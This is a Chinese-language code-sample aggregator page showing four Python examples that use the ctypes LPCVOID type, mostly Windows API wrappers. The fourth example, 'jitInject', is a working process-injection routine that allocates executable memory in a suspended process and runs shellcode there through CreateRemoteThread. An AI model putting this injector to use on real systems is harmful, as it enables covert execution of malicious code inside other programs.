本文整理匯總了Python中ctypes.wintypes.LPCVOID屬性的典型用法代碼示例。如果您正苦於以下問題:Python wintypes.LPCVOID屬性的具體用法?Python wintypes.LPCVOID怎麽用?Python wintypes.LPCVOID使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在類ctypes.wintypes
的用法示例。
在下文中一共展示了wintypes.LPCVOID屬性的4個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: control_service
# 需要導入模塊: from ctypes import wintypes [as 別名]
# 或者: from ctypes.wintypes import LPCVOID [as 別名]
def control_service(service_handle, control, service_status):
"""See: ControlService function
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682108(v=vs.85).aspx
"""
ControlService_Fn = ctypes.windll.Advapi32.ControlService #BOOL WINAPI ControlService(
ControlService_Fn.argtypes = [ #
wintypes.SC_HANDLE, # _In_ SC_HANDLE hService,
wintypes.DWORD, # _In_ DWORD dwControl,
wintypes.LPCVOID # _Out_ LPSERVICE_STATUS lpServiceStatus
]
ControlService_Fn.restype = wintypes.BOOL
bool = ControlService_Fn(
service_handle,
control,
service_status
)
return bool
示例2: read_process_memory
# 需要導入模塊: from ctypes import wintypes [as 別名]
# 或者: from ctypes.wintypes import LPCVOID [as 別名]
def read_process_memory(
handle: wintypes.HANDLE,
base_address: wintypes.LPVOID,
buffer: wintypes.LPCVOID,
size: ctypes.c_size_t,
size_ptr: ctypes.POINTER(ctypes.c_size_t),
) -> wintypes.BOOL:
pass
示例3: write_process_memory
# 需要導入模塊: from ctypes import wintypes [as 別名]
# 或者: from ctypes.wintypes import LPCVOID [as 別名]
def write_process_memory(
handle: wintypes.HANDLE,
base_address: wintypes.LPVOID,
buffer: wintypes.LPCVOID,
size: ctypes.c_size_t,
size_ptr: ctypes.POINTER(ctypes.c_size_t),
) -> wintypes.BOOL:
pass
示例4: jitInject
# 需要導入模塊: from ctypes import wintypes [as 別名]
# 或者: from ctypes.wintypes import LPCVOID [as 別名]
def jitInject(path, shellcode):
info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())
page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
shellcode_length = len(shellcode)
process_handle = info[0].handle # phandle
VirtualAllocEx = windll.kernel32.VirtualAllocEx
VirtualAllocEx.restype = LPVOID
VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
WriteProcessMemory.restype = BOOL
WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)
CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
CreateRemoteThread.restype = HANDLE
CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)
lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
print(hex(lpBuffer))
WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
print('JIT Injection, done.')
# -------------------------------------------------- #